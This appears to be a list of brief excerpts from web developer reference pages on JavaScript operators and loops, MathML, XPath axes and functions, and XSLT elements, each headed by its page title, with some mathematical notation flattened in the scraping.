syntax operator: x -= y meaning: x = x - y examples using subtraction assignment // assuming the following variable // bar = 5 bar -= 2 // 3 bar -= 'foo' // nan specifications specification ecmascript (ecma-262)the definition of 'assignment operators' in that specification.
Unsigned right shift assignment (>>>=) - JavaScript
syntax operator: x >>>= y meaning: x = x >>> y examples using unsigned right shift assignment let a = 5; // (00000000000000000000000000000101) a >>>= 2; // 1 (00000000000000000000000000000001) let b = -5; // (-00000000000000000000000000000101) b >>>= 2; // 1073741822 (00111111111111111111111111111110) specifications specification ecmascript (ecma-262)the definition of 'assignment operators' in that specification.
do...while - JavaScript
var result = ''; var i = 0; do { i += 1; result += i + ' '; } while (i > 0 && i < 5); // despite i == 0 this will still loop as it starts off without the test console.log(result); specifications specification ecmascript (ecma-262)the definition of 'do-while statement' in that specification.
while - JavaScript
specifications specification ecmascript (ecma-262)the definition of 'while statement' in that specification.
Proving the Pythagorean theorem - MathML
proof: we can prove the theorem algebraically by showing that the area of the big square equals the area of the inner square (hypotenuse squared) plus the area of the four triangles: ( a + b ) 2 = c 2 + 4 ⋅ ( 1 2 a b ) a 2 + 2 a b + b 2 = c 2 + 2 a ba 2 + b 2 = c 2 ...
Examples - MathML
below you'll find some examples you can look at to help you to understand how to use mathml to display increasingly complex mathematical concepts in web content.
MathML
mathematical markup language (mathml) is a dialect of xml for describing mathematical notation and capturing both its structure and content.
ancestor-or-self - XPath
the ancestor-or-self axis indicates the context node and all of its ancestors, including the root node.
ancestor - XPath
WebXPathAxesancestor
the ancestor axis indicates all the ancestors of the context node beginning with the parent node and traveling through to the root node.
descendant-or-self - XPath
the descendant-or-self axis indicates the context node and all of its descendants.
descendant - XPath
WebXPathAxesdescendant
the descendant axis indicates all of the children of the context node, and all of their children, and so forth.
following-sibling - XPath
the following-sibling axis indicates all the nodes that have the same parent as the context node and appear after the context node in the source document.
following - XPath
WebXPathAxesfollowing
the following axis indicates all the nodes that appear after the context node, except any descendant, attribute, and namespace nodes.
preceding-sibling - XPath
the preceding-sibling axis indicates all the nodes that have the same parent as the context node and appear before the context node in the source document.
preceding - XPath
WebXPathAxespreceding
the preceding axis indicates all the nodes that precede the context node in the document except any ancestor, attribute and namespace nodes.
boolean - XPath
the expression can refer to numbers and node-sets as well as booleans.
choose - XPath
note: this method should be used instead of if(), which has been deprecated.
name - XPath
WebXPathFunctionsname
notes the qname is the node's qualified name, including its namespace prefix and its local name.
not - XPath
WebXPathFunctionsnot
you can test if an element doesn't have some attribute.
number - XPath
a node-set is first converted to a string as if by a call to the string() function and then converted in the same way as a string argument.
system-property - XPath
notes xsl:version, a number giving the version of xslt implemented by the processor; for xslt processors implementing the version of xslt specified by this document, this is the number 1.0 xsl:vendor, a string identifying the vendor of the xslt processor xsl:vendor-url, a string containing a url identifying the vendor of the xslt processor; typically this is the host page (home page) of the vendor's web site.
Functions - XPath
boolean() ceiling() choose() concat() contains() count() current() xslt-specific document() xslt-specific element-available() false() floor() format-number() xslt-specific function-available() generate-id() xslt-specific id() (partially supported) key() xslt-specific lang() last() local-name() name() namespace-uri() normalize-space() not() number() position() round() starts-with() string() string-length() ...
<xsl:apply-imports> - XSLT: Extensible Stylesheet Language Transformations
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes the <xsl:apply-imports> element is fairly arcane, used mostly in complex stylesheets.
<xsl:attribute-set> - XSLT: Extensible Stylesheet Language Transformations
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes the <xsl:attribute-set> element creates a named set of attributes, which can then be applied as whole to the output document, in a manner similar to named styles in css.
<xsl:decimal-format> - XSLT: Extensible Stylesheet Language Transformations
gecko support supported as of 1.0 (mozilla 1.0, netscape 7.0).
<xsl:element> - XSLT: Extensible Stylesheet Language Transformations
WebXSLTElementelement
applied attributes can be overridden via nested attribute elements.
<xsl:if> - XSLT: Extensible Stylesheet Language Transformations
WebXSLTElementif
syntax <xsl:if test=expression> template </xsl:if> required attributes test contains an xpath expression that can be evaluated (using the rules defined for boolean( ) if necessary) to a boolean value.
<xsl:include> - XSLT: Extensible Stylesheet Language Transformations
WebXSLTElementinclude
unlike the case of <xsl:import>, the contents of an included stylesheet have exactly the same precedence as the contents of the including stylesheet.
<xsl:otherwise> - XSLT: Extensible Stylesheet Language Transformations
it is similar to the else or default case in other programing languages.
<xsl:when> - XSLT: Extensible Stylesheet Language Transformations
WebXSLTElementwhen
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes the <xsl:when> element always appears within an <xsl:choose> element, acting like a case statement.
<xsl:with-param> - XSLT: Extensible Stylesheet Language Transformations
type subinstruction, always appears within an <xsl:apply-templates> or an <xsl:call-template> element.
Setting Parameters - XSLT: Extensible Stylesheet Language Transformations
they all take as the first argument the namespace uri of the xsl:param (usually the param will fall in the default namespace, so passing in null will suffice.) the local name of the xsl:param is the second argument.
XSLT: Extensible Stylesheet Language Transformations
WebXSLT
transforming xml with xslt xslt allows a stylesheet author to transform a primary xml document in two significant ways: manipulating and sorting the content, including a wholesale reordering of it if so desired, and transforming the content into a different format.
onunload - XUL
closing the window calls this eventhandler on the prefwindow.